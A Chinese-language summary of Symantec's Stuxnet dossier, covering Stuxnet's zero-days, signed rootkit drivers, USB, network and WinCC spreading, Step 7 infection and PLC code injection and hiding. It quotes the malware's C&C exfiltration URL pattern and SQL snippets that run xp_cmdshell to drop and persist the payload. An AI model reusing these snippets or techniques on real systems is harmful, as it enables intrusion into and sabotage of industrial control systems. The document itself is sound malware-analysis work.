《附录十:Symantec赛门铁克通报的stuxnet相关信息摘要》 By nEINEI 个人总结: 1 第一阶段是发现重启,0day的利用(lnk 漏洞),但并没有引起很大范围的注意。 2 当流量引流到赛门的服务器后,发现感染38000台中,有22000台式位于伊朗的机器,引发了第二轮的注意。 3 有217台机器包含西门子-step7软件,人们开始关注这个恶意程序的目的是什么。 4 更多的0day被发现,一个原因在于调试代码本事需要环境来出发,单纯的跟踪流程不能解密出里面资源文件, 也就不能发现0day的藏身之地,这需要调试上的技巧与逆向的技巧,技术好奇心决定人们是否能够发现更多的秘密。 注:该摘要主要来自赛门铁克的安全白皮书《W32.Stuxnet Dossier》 安装: 1 武器情况4个0day, 2两个1day 2个不清楚的提权漏洞,2个合法签名。 2 攻击者选择武器是由目标达成的路径决定的,未必是最短路径,但是可达到目的的路径。8个漏洞+2个签名符合认为要求。 3 初期感染量超过量26个国家,说明并不完全限制病毒的感染与传播,但对于攻击载荷是能做到精准控制也就是目标PLC的型号。 4 总的warpper dll 增加一个.stub 节,文件大小是505k(517,632 )使用了伪造的CPLApplet作为控制面板的标准加载模块。也就是ITW中出 现的~WTR4132.tmp 5 Bypassing Behavior Blocking When Loading DLLs -- 调用loadlibrary 加载一个不存在的路径,然后hook ntdll 去加载一个另外一个路 径下的文件,KERNEL32.DLL.ASLR.[HEXADECIMAL] or SHELL32.DLL.ASLR. [HEXADECIMAL], where the variable [HEXADECIMAL]is a hexadecimal value., 利用 zwMapViewOfSection ,ZwCreateSecsion,zwClose.zwOpen,ZwQueryAttributesFile,zqQuerySection 来做到这一点。 - 率先使用的技术点 6 通过考察目标系统安装安全软件的情况,来决定是否适用注入,或者是选择什么漏洞。 7 通过配置数据块来觉得进一步的动作, 5.1 - 1/1/0 - 2 - 2010/09/22-15:15:47 127.0.0.1, [c:\a\1.zip:\proj.s7p]。 1/1/0 表示flag,含义未知 8 用HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\MS-DOS Emulation 里面的值 作为一个感染标志 9 是否临时文件 0em7a.pnf -- payload , 90bytes - mdmeric3.PNF. , 配置文件。mdmcpq3.PNF, log文件- oem6c.PNF , 同时确保日期 是 2012-1-24前,否则不感染。 10 ,解析资源201,242 , 是否2个驱动 Mrxnet.sys Mrxcls.sys. , rootkit 是隐藏文件的目的 11 注入payload.dll 到服务进程(感染插入到u判断,启动RPC服务) 12 注入payload.dll 到S7tgtopx.exe , kill 掉explore, step7 ,感染Step7 工程文件。 Load Point: 1 drop 242 MrxCls.sys 通过Export16, 这个是有数字签名的Realtek 厂商,另外一个有数字签名的驱动是JMicron 2 注册一个boot 类型的驱动,可以启动的更早 3 这是个驱动的目的是为了注入和执行copy stuxnet 到一个特殊的进程 4 包含一个加密的数据HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MrxCls\“Data” 5 解密这是个数据,是下面这样的格式,主要是说明哪些进程可以被注入 services.exe — %Windir%\inf\oem7A.PNF S7tgtopx.exe — %Windir%\inf\oem7A.PNF CCProjectMgr.exe — %Windir%\inf\oem7A.PNF explorer.exe — %Windir%\inf\oem7m.PNF Comand && control 1 使用2个 域名,mypremierfutbol , todaysfutbol 2 这阶段的payload 使用的是xor方式 3 使用windowsupdate , msn 网址来测试网络是否通畅 4 http://]www.mypremierfutbol.com/index.php?data=1234... data = 后面跟的是要传输的数据,靠这样的方式来完成 5 从c&c response 回来的数据,通过rpc方式来执行 windows Rootkit : 1 隐藏从u盘拷贝文件 2 从export 16,Resource 201 里面解析出来MrxNet.sys , 注册为一个服务,这个驱动数字签名的通过Realtek, verisign 2010-7-16 授权 3 扫描下面驱动对,ntfs,fastfat,cdfs, 4 注册了文件驱动对回调 5 当浏览目录中,包含。lnk (4171 size ), ~WTR(4kb ~ 8MB), 就被过滤掉了,因此隐藏了stuxnet的文件。 6 驱动里面pdb路径没有抹掉,可以看到b:\myrtus\src\objfre_w2k_x86\i386 \guava.pdb Stuxnet Propagation Methods: 1 感染u 盘 , 利用网络。 2 copy 自身到step 7 project,感染step7文件 NetWork Proagation Routines: 1 p2p 通信和升级 2 感染wincc 机器,利用通常哪些机器都是硬编码密码 3 网络共享传播 4 MS10-061 打印机漏洞 5 MS08-067 windows server 漏洞 一 p2p 通信: 监控被感染的主机,如果远端有新版本,那么发起一个新版本请求,更新自己。如果远端是旧的,那么就是copy自身发送给远端让它更新。通 过这样的方式,可以更新全网络都为受感染的主机。 二 感染wincc机器 主要感染安装wincc database的软件,一旦发现是硬编码连接的wincc服务器, 第一步,发送sql code 传送的到这台机器上并执行,其目的是把stuxnet 传输到这台安装wincc软件的机器上,第二步, stuxnet 修改一个存在的代码,每间隔一段时间就执行一次。用 sql 语句创建一个表,存储二进制数据到表中, 这个二进制数据就是resource 210. 然后利用ole 自动存储机制鞋自身到磁盘,%UserProfile%\sql[RANDOM VALUE].dbi. 执行后,删除产生dbi 和 main dll SET @ainf = @aind + ‘\\sql%05x.dbi’ EXEC sp_addextendedproc sp_dumpdbilog, @ainf EXEC sp_dumpdbilog 另外,如果是本地就安装wincc, stuxnet 存储一个 a.cab 文件从资源203派生而来,叫做 cc_tlg.sav. , 这个cab 文件包含一个 botstrap dll ,它可以夹着main dll,修改一个视图MCPVREADVARPERCON 去解析syscomments.text field 为了附加到sql code 去执行。 另外也会去执行, set @t=left(@t,len(@t)-charindex(‘\\’,reverse(@t)))+’\GraCS\cc_tlg7.sav’; set @s = ‘master..xp_cmdshell ‘’extrac32 /y “’+@t+’” “’+@t+’x”’’’; exec(@s); 这样确保stuxnet 可以持续到驻留 三 网络共享传播 利用WMI 和一个scheduled job 方式来传播。stuxnet 枚举所有的用户账号和domain , 然后试图去连接所有的这些网络资源通过, 用户凭证和 WMI操作explorer.exe token 拷贝它自己到这些远程共享上去。 如果ADMIN$存在, 就创建一个共享名称例如 c$ , 生成一个从资源210里面和自定义的main dll 组合的exe,然后枚举所有的网络资源,copy这个exe 用一个随机的文件名称 DEFRAG[].tmp ,接着,网络job 按照计划,感染后目标机器后2分钟之后,下这个exe。 四。MS10-061 打印机漏洞传播 这个在hackin9杂志 曾经纰漏过,但没有被发现ITW利用。这个漏洞允许一个文件写到 system 目录。代码存在资源222,利用这个漏洞,攻击者可以copy 文件到远程机器的“system”目录 仅是增加一个利用手段 五 MS08-067 windows server 漏洞 之前这个利用被使用在 W32.Downadup. MS08-067 是一个旧漏洞,主要是发送一个畸形字符串,可以被任意的执行在代码。 stuxnet 使用这个漏洞copy自身 它到一台没有补丁的远程机器。 使用这个漏洞是有条件的: 1 必须在2030-1-1前, 2 反病毒产品库是在2009-1-1前, kernel32 和 netapi32 timestamps 是在2008-10-12之后。 Removable drive propagation 针对非网络连接的情况,去感染u盘, 1 lnk 漏洞 cve-2010-2568 , 这个漏洞是要符合特殊条件才能执行的。感染u盘的实现代码是在, exports 1,19,32 这几个函数的接口中。19 负责copy , 1,32负责等待u盘插入 2 根据配置信息来决定什么时候,copy自身,什么时候删除自身,例如感染超过3台机器,就删除自身。 3 如果调用1,32 , stuxnet 将校验是否允许在services.exe进程,决定哪个windows 版本运行,接着,创建一个 class name。AFX64c313, 等待u盘插入,校验u盘的类型 DBT_DEVTYP_VOLUME, 确保感染前,当前的时间是2012-1-24日前。 4。根据配置,决定是否移除自身还是继续感染,如果移除,将要删除掉, %DriveLetter%\~WTR4132.tmp %DriveLetter%\~WTR4141.tmp %DriveLetter%\Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Copy of Shortcut to.lnk %DriveLetter%\Copy of Copy of Copy of Copy of Shortcut to.lnk 5。如果u盘已经被感染, 检测如下条件是否适合继续感染 1) 驱动器不是刚刚被感染的,决定于当前时间 2) 配置标志感染标志必需被设置,否则感染发生依赖于时间,但这不是默认被设置的。 3) 感染时超过21天的 4)u盘至少有5mb的空间 5) 驱动器至少有3个文件 如果上面条件都满足, 创建下面文件 %DriveLetter%\~WTR4132.tmp (~500Kb) ? (This file contains Stuxnet’s main DLL in the stub section and is derived from Resource 210.) %DriveLetter%\~WTR4141.tmp (~25Kb) ? (This file loads ~WTR4132.tmp and is built from Resource 241.) %DriveLetter%\Copy of Shortcut to.lnk ? %DriveLetter%\Copy of Copy of Shortcut to.lnk ? %DriveLetter%\Copy of Copy of Copy of Shortcut to.lnk? %DriveLetter%\Copy of Copy of Copy of Copy of Shortcut to.lnk? lnk 文件使用资源240作为一个模版,根据目标的不同,选择生产针对 win2000,xp,win7,server2003 ,vista。 lnk文件包含利用,浏览文件夹时候,自动执行WTR4141.tmp。 WTR4141.tmp 将加载WTR4132.tmp, 但在加载前,会隐藏这些文件在u盘上。因为rootkit 还没有被加载不能做到深层次的隐藏,因此,WTR4141.tmp自己实现了一个简易的文件隐藏。 hook 了下面这些函数 From Kernel32.dll FindFirstFileW FindNextFileW FindFirstFileExW From Ntdll.dll NtQueryDirectoryFile ZwQueryDirectoryFile 隐藏是有要求的:1 lnk文件大小是4171 bytes 2 ~WTRxxxx.tmp , 4kb ~ 8mb 之后,WTR4132.tmp 将被加载, 然后load 一个a.dll , 因为hook ntdll load,然后替换为加在其他模块到进程空间。 AutoRun.inf 之前使用AutoRun.inf 来感染u盘,资源207是一个500k的旧版本stuxnet。 inf 文件解析是很宽泛的,可以把MZ文件嵌入到里面,在文件最后写上可执行的inf路径。 利用这个技巧,可以把MZ藏在其中。 为了增加更多的被运行几率,加入 %Windir%\System32\shell32.dll,-8496. 代码 ,这样右键菜单就会出现2个 “open” 菜单, 其中一个就是stuxnet的执行代码命令。 Step 7 Project File Infections export 16 会去call exprt 12 ,这个会hook 一些特殊的api 在 s7tgtopx.exe 进程,这个进程是wincc simatic 管理程序 s7apromx.dll , mfc42.dll msvcrt.dll 中的createfile 被修改cratefile_hook ccprojectmgr.exe 中 StgOpenStorage 替换为 StgOpenStorage_hook. 如果打开了一个*.s7p 文件, createfile_hook 函数将会去调用RPC function #9,这会想要记录路径到加密文件 windir\inf\oem6c.pnf. StgOpenStorage 会打开*.mcp 文件,这是一个simatic管理文件。谁打开管理文件也都会被记录在oem6c.pnf中。 export14 是主要的感染step 7的函数,当一个项目被载入后,会被让其加载一个其他路径文件。 S7P files 感染是有条件的, 1 文件不能太旧。, 至少要在最近3.5年 2 包含一个 “wincproj” 文件夹同时有一个有效的MCP文件 3 不是step 7 demo项目, 不匹配 *\step7\examples* stuxnet 检查完毕,符合条件后进行感染, 1。创建文件 xutils\listen\xr000000.mdx。-- main dll xutils\links\s7p00001.dbf -- 90byte的数据文件 xutils\listen\s7000001.mdx -- 一个加密的,stuxnet配置文件 2。 是否dll 扫描一个"hOmSave7" 子文件夹,然后释放dll(资源202)到这个目录,重命名一个特殊的名字,但目前没有被纰漏是什么,暂时称号为xyz.dll 3 修改step 7的data文件文件 Apilog\types当被感染的项目被打开,就会触发搜索通过xyz.dll 搜索下面的目录 1) S7BIN 文件夹在step7 项目里面 2) system 文件夹, windir 文件夹, h0mSave7文件夹 如果xyz.dll 没有发现这些文件夹,恶意的dll就会被载入并执行, 恶意的dll 是一个解密的加载器,为了copy main dll。 这个利用是dll加载劫持漏洞 MCP files 满足下面条件会被触发 1 ) 不能太旧,至少最近3.5年 2) 包含一个GracS文件夹 满足条件进行感染,如下动作,创建下面文件 1) GracS\cc_alg.sav -- 加密的main dll 2) GracS\db_log.sav (copy 的 stuxnet data文件 90 bytes) 3) GracS\cc_alg.sav , xutils\listen\s7000001.mdx copy 资源203,解密释放 cc_tlg7.sav 这个是Microsoft CAbinet 的文件,用来负责加载dll wincc 的database 能被访问,感染通过 wincc的数据服务器。 TMP files tmp 文件符合一定的格式,~WRxxxx.tmp , 其中xxxx 满足 取模16 = 0的条件。 一旦感染,stuxnet会检测是否存在新版本,然后更新。感染等文件存在有3种可能。不同的导出函数处理不同的情况, export 9 获得step7的打开路径,据说如果是感染的机器,竟会在路径下看到这3个文件 …\XUTILS\listen\XR000000.MDX …\XUTILS\links\S7P00001.DBF …\XUTILS\listen\S7000001.MDX 这些文件会被拷贝到临时文件,%temp%\~dfXXXXXX.tmp ,exprot 16 检测stuxnet新版本。 export 31 据称是感染step7 project的,在下面路径下生成文件, …\GracS\cc_alg.sav …\GracS\db_log.sav …\GracS\cc_tag.sav 这些文件被copy到临时文件 %temp\~dfXXXX.tmp%. export16 会被调用运行这个版本的stuxnet。 expor10 类似export 9 和 export31, 它能处理step7 project 文件夹 和释放 stuxnet文件 到 Gracs\. or. Xutils\ 子文件夹 也能处理zip文件 export#16 是能释放文件,运行 copy的 stuxnet ,更新 配置数据结构。 Modifying PLCs export 17 会释放资源208,用来替换西门子 s7otbxdx.dll , stuxnet 目的是感染特殊类型的西门子设备,这些设备会加载恶意代码,使用一种特殊语言STL or SCL, 编译这些代码的编译器叫做MC7. 这些感染的代码块能执行,控制,监控工业设备。s7otbxdx.dll是处理PLC 块交互的程序在不同的设备间。替换他后,stuxnet能过执行下面的功能: 1 从PLC 中监控 写,读 2 感染PLC 3 标记一个PLC被感染 step7 -- control PC --- read/write。--- PLC (STL code) 访问PLC, 需要安装特殊的软件, stuxnet的目标是 wincc/step7 , stuxnet 重命名s7otbxdx.dll 为s7otbxsx.dll .然后替换掉原来的这个dll文件。 此时,stuxnet能够接管, step7 --- s7otbxdx.dll. -- PLC STL code block | <------------------------------------------------| stuxnet的s7otbxdx.dll 伪造了同样的导出接口,能完成一样的请求。stuxnet能返回数据从PLC,而不是真实的PCL发出的数据。这就是为什么能隐藏代码的原因。 一个PLC通常包含下面这些类型块“ 1 DB 数据块包含程序特殊数据,例如数量,结构等 2 SDB系统数据块,包含PLC配置信息,他们创建一个一定数量的类型模块连接PLC 3 组织块,包含程序入口点,cpu 定期执行,感染stuxnet后可以观察到如下状态, 1) OB1 是PLC程序的入口点,按周期执行,没有固定的时间请求。 2) OB35 是一个标准的watchdog 块, 每100ms 执行一次,这函数包含一些逻辑,及需要监控的核心输出数据,响应请求执行关键的函数调用。 4 FC是标准的代码块,包含PLC的代码执行,通常OB1至少引用1此FC块 the infection process stuxnet 感染不同的目标使用不同的代码,感染等序列包括,代码块,数据块 被注入到PLC。这个威胁主要包括3个感染主要的感染序列,其中2个非常相似,复制A和B,第三个复制C 如果dll 正运行在ccrtsloader.exe 中,恶意的s7otbxdx.dll 启动2个线程去感染特殊一个类型的PLC, 第一个线程运行一个感染等例程 每15分钟一次,目标PLC之前已经被通过hook函数搜集了一些信息,主要是s7db_open(),这个感染例程特殊的目标是CPUs 6ES5-2 他有个特殊的SDB属性。 这个顺序是感染A和B 第二个线程请求PLC对一个特殊的块,如果第一个线程注入已经成功。这个块是自定义的他影响序列A ,B 感染PLC。 最后,序列C感染感染条件不确定,只能改写6ES7-417系列,而不是上面提到的315-2系列。 The infection thread,sequences A and B 这个线程每15分钟执行一次感染操作,当一个PLC发现,下面步骤被执行, 首先,PLC类型是被检测的,使用s7ag_read_szl API, SDB 块是被检测的,一次来决等是否被感染,使用序列A 或是 B ,如果这2步骤通过,copy DP_RECV块到FC1869然后替换,使用stuxnet里面嵌入到的恶意块。 恶意代码块感染序列被写入了PLC。 OB1 是被感染的,在开始周期不断的被恶意代码执行 OB35 也是被感染的,他实际上是watchdog,某些条件下,他能执行ob1块的代码。 下面是3个关键步骤, SDB Check 系统数据块是被枚举和解析的, 如果偏移是50h地方dword 是 0100cb2c,然后搜索到到7050, 9500 ,解析通过, 0100cb2c 点含义是 coprocessor协处理器 是 CP 342-5. DP_RECV replacement DP_RECV 是一个标准的函数块在网络协处理器中,他接收网络桢,一个标准的工业网络bus 针对分布式的I/O,原来的块被拷贝到FC869,被感染后这个会被替换,每隔一定时间,函数会接收一个数据包,恶意的DP_RECV 在FC869 中处理包数据。 ob1/ob35 感染 stuxnet 使用简单的代码重写感染原块,例如 当ob1被感染,动作按序列执行。 1 增加原块的大小,写恶意代码到块的开始地方。 2 插入ob1块。 Squence blocks 序列A,B 功能相当非常接近。他们包含17块,用恶意替换DP_RECV块,也一样感染ob1 and ob35块, 运行2个代码块之间互相调用, 粉红色块替换主块,从ob1感染的块的调用中来的 白色的是标准的stuxnet的代码块 黄色的也是stuxnet的代码块,但是他是copy西门子库里面的标准的代码块,执行的是通用的函数调用,例如时间戳等 灰色的不是stuxnet 的部分,是系统代码块,操作系统运载PLC中,他们执行系统任务,例如读取系统块SFC1, 绿色的块代表象征stuxnet的块 序列a和b是被拦截包在profibus 中的使用DP_RECV hooking block,在这些块中发现依赖的那些值,其他的包产生和发送在有线传输的数据包中。有一个复杂的状态机开控制实现在不同的块中产生这样的序列关系。 The monitor thread 对于条件c的感染条件需要其他的角色来决定,要求这个序列能被写到PLC6ES7-315-2 / 6ES7-417 这个序列更复杂比起A,b, 他包含更多的数据和代码块,也能产生数据块在使用特殊的sfc 块时候, 出现序列c的含义是读写信息到内存映射PLC的 io区域 ,也一样可以读写外围信息 The rootkit stuxnet plc rootkit 代码一套完全的方案在伪造的s7otbxdx.dll , 为了达到隐藏不被检测的目的,他需要下面的一些步骤, 1 读请求到他自己的恶意代码块 2 读请求到恶意代码块 ob1,ob35,DP_RECV 3 写请求可以重写stuxnet自己的代码(重写隐藏) stuxnet代码包括了监控,拦截这些请求,一个威胁修改这些请求都会知道,stunxnet因此不容易被发现或弄坏。下面给出一些例子,stuxnet如何hooked这些倒出函数处理这些方式, 1 s7blk_read: 使用读一个块,监控stuxnet返回给: 1) 如果DP_RECV是请求的,就原DP_RECV (保持FC1869) 2) 如果请求一个关于stuxnet自身的代码就返回一个错误。 3)如果请求一个块,就返回一个干净的ob1 or ob35给它 2 s7blk_write: 1) 请求修改ob1.ob35之前,这些就已经被感染 2)请求写DP_RECV也是被监控的,第一次请求,块将被写到FC869 而不是DP_RECV, 下一次将返回一个错误,通常这样的系统只有一次写。 注意,注入序列c也是通过s7blk_write操作完成的,但还没有精确的条件来确定什么时刻发生的 3 s7blk_findfirst and s7blk_findnext 使用枚举块的方式,stuxnet 将隐藏自己的块,在进行枚举操作时跳过这个操作。注意,stuxnet识别自身块是通过检查一个特殊值在块的头部。 4 s7blk_delete : 1) 请求删除一个SDB 可以导致PLC 干净 2) 请求删除OB也被监控,看起来这个块不一定会必要删除,它能被感染,最初删除 0b80(用来处理异步中断) ,可以导致在一个空的0b80 处写代码。 other export hooks: 其他的hook可以获得其他的函数调用,包括PLC 信息的搜集,另外情况还模糊不清楚具体细节, s7db_open and s7db_close: 用于创建一个管理pcl的管理句柄信息 s7ag_read_szl 用于查询PLC 信息,通过合并 ID 或事 index,可以通过API返回信息,如果被调用 id = 27,index = 0 s7_event: 原api是未知的,这个导出可以被序列c修改没模块DB8062. s7ag_test,s7ag_link_in , s7ag_bub_cycl_read_create, s7ag_bub_read_var , s7ag_bub_write_var , s7ag_bub_read_var_seg, s7ag_bub_write_var_seg. PLC感染器是真实的stuxnet构建的,他们的目标是感染特定类型的PLC,通过类型,system data block info 来识别。干PLC 可以影响工业处理器并控制它。 1 尽早的中断0b1 处理, 2 在profibus网络传输中注入代码,通过序列A,b 来做到的。 3 修改PLC的I/O 输出区域 当前我们能描述任何感染PLC的事情,什么地址被设置,什么值被检测没有设计文档描述出,这些值和哪些攻击的目标系统是一致的。这些信息没有实际意义,例如,如果输出是100,我们不清楚这将会影响什么,离心机,涡轮,,我们不知道真实世界的影响。 然而,有一些有趣的事情,例如代码被添加到了 OB35 使用了一个maigc marker ,0xDEADF007,含义可能是完蛋了傻瓜,当飞机引擎失灵。 这是指当一个作用达到最终状态。 Payload Exports export 1 - 开始启动u 盘感染的例程,也是启动rpc 服务,在p2p的通信部分。 export2 - hooks api 在step 7 感染部分 export4 - 初始化export 18 , 从系统里面移除stuxnet export5 - 检查MrxCls.sys 是否安装 export6 - 返回一定数量的线程,从配置数据块里面读取, 版本信息存储在cdb(config data block)偏移 10h export7 - 简单的跳到6 export9 - 从感染的step 7项目中 执行新的stuxnet 版本 export10 - 同9 export14 - 主要的一个wrapper 感染,感染step7中用到的 export15 - 初始化入口函数 export16 - 负责安装例程 export17 - 替换 step 7 dll 感染PLC export18 - 从系统里面移除stuxnet,(恶意的step 7 dll , 驱动MrxCls.sys and MrxNet.sys , oem7A.PNF , mdmeric3.pnf , mdmcpq3.pnf(stuxnet 的配置文件) ) export19 - 移动设备感染例程 export22 - 包含所有的网络传播例程 export24 - 检查系统是否连接到internet , 执行dns 请求在2个domains 在陪你数据(默认是 windowsupdate.com , msn.com) 和 更新配置数据及状态 export27 - 包含rpc部分代码 export28 - 包含c&c 服务 export29 - 同28 export31 - 执行新版本从感染到step 7 export32 类似export1,除了不检查事件信号在移动设备感染,和rpc服务代码前 Payload Resources 上面的export 需要加载器他文件 /templates/data 执行他们的任务,这些文件都存main.dll的在资源节 resource201 - windows rootkit MrxNet.sys - 签名的Realtek resource202 - dll 使用在step 7 resource203, CAB文件,包含的dll非常类似202,加入了wincc 项目目录,和加载执行通过SQL resource205,加密的配置文件为了加载驱动MrxCls.sys,已经加入了注册表。 resource207,stuxnet加入 autorun.inf 信息,仅仅在之前的stuxnet版本有 resource208,感染PLC通过替换step 7 dll resource209, 25字节文件创建在 %windir\help\winmic.fts% resource210, 创建或是注入时,一个临时的PE文件通过export使用 resource221,这个包含代码漏洞 MS08-067 resource222 ,这个包含漏洞利用MS10-067 resource231,检测是否连接internet,仅之前stuxnet版本有 resource240,编译唯一的 .lnk 文件在驱动插入的感染的时候 resource241,WTR4141.tmp 签名的-Realtek resource242, mrxcls.sys rootkit - 签名Realtek resource250, 0day 提权漏洞 win32k.sys Variants Wrapper Dll 有4种类型变种,有3种是添加了空格及+4k的垃圾数据,另外一个是很大的不同点。 unpacked pyaload dll ,也存在这个问题。 resource 节也出现很多不同的样本, 资源被加密并且随着时间的推移,所以我们可以相信改进的是新的样本。resource240 是lnk文件的模版,可以产生很多lnk漏洞文件。 resource241隐藏文件的rootkit代码名字是“~WTR.*.tmp” , resource242 是内核模式rookit组件,用来隐藏“~WTR”类文件, 类型4样本 中没有发现任何创建隐藏~WTR,及创建lnk漏洞的代码,这说明攻击者进行了改进,但他们的目标是一致的,就是ICS系统感染控制。 通过对4种类型的样本进行分析,可以理解,攻击者不断的改进手段,最初样本发现在2009-6月,这之后不断的加密,增加组件,目的只有一个感染ICS。